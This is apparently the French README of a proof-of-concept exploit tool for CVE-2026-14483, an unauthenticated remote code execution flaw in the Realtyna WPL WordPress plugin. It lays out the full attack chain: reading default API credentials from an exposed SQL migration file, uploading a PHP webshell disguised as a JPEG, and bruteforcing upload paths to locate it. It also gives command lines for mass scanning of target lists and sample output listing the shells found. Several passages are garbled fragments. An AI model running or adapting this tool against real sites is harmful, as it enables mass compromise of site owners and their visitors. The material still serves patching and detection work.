
CVE-2026-14483 POC EXPLOIT PAR MADEXPLOITS
Exécution de code à distance non authentifiée contre le plugin WordPress Realtyna WPL Real Estate Listing.
| Champ | Détail |
|---|
| CVE | CVE-2026-14483 |
| Version affectée | <= 5.2.0 |
| Plugin | real-estate-listing-realtyna-wpl |
| Impact | Téléversement de webshell PHP non authentifié (RCE) |
| Script | CVE-2026-14483.py |
| Auteur | MADEXPLOITS |
Par défaut, le script n'exploite que les cibles exécutant WPL 5.2.0. Utilisez
--forcepour outrepasser.

api_key / api_secret par défaut sont exposés via un dump public de migration SQL.set_property), permettant de téléverser un fichier PHP conçu comme image de propriété.wp-content/uploads/WPL/{property_id}/.pip install requests colorama
Créez un fichier texte avec une URL de base par ligne :
http://wplab.test
https://example.com
python CVE-2026-14483.py --targets targets.txt
Les URL de shells valides sont ajoutées à result.txt (ou à --output).
python CVE-2026-14483.py \
--targets targets.txt \
--output result.txt \
--user-id 1 \
--max-id 1000 \
--timeout 30 \
--threads 5 \
--debug \
--force
| Argument | Défaut | Description |
|---|---|---|
--targets | (requis) | Fichier contenant les URL de base (une par ligne) |
--output | result.txt | Fichier dans lequel ajouter les URL de shells trouvés |
--user-id | 1 | ID utilisateur WordPress / WPL propriétaire de la nouvelle propriété |
--payload | shell de téléversement intégré | Chaîne de payload PHP personnalisée |
--max-id | 1000 | ID de propriété maximal à bruteforcer pour localiser le shell |
--timeout | 30 | Délai d'expiration HTTP en secondes |
--threads | 5 | Nombre de threads de travail concurrents |
--debug | désactivé | Journalisation de débogage verbeuse |
--force | désactivé | Exploiter même si la version ≠ 5.2.0 ou si la version ne peut pas être détectée |
URL cible
│
▼
Détecter la version de WPL (readme.txt / wpl.php)
│ ignorer sauf si == 5.2.0 (ou --force)
▼
Récupérer api_key + api_secret depuis :
/wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
│
▼
POST set_property via l'API I/O WPL
(téléverser image_0x89MADEXPLOITS.php en tant que image/jpeg)
│
▼
Bruteforce de l'ID de propriété 1..max-id
/wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
│
▼
Écrire l'URL du shell → fichier de sortie
Marqueur de shell par défaut : MADEXPLOITS
Nom de fichier distant par défaut : 0x89MADEXPLOITS.php
Cible de laboratoire unique (cet espace de travail) :
echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug
Scan massif avec une concurrence plus élevée :
python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt
Forcer l'exploitation lorsque la vérification de version échoue :
python CVE-2026-14483.py --targets targets.txt --force
[+] Shell trouvé : http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progression : 1/1 | Trouvés : 1
[+] Terminé. 1 shell(s) trouvé(s). Consultez 'result.txt' pour les URL.
result.txt contient une URL de shell par ligne.
Stable tag: / Version: dans le readme.txt du plugin, avec repli sur wpl.php.--max-id.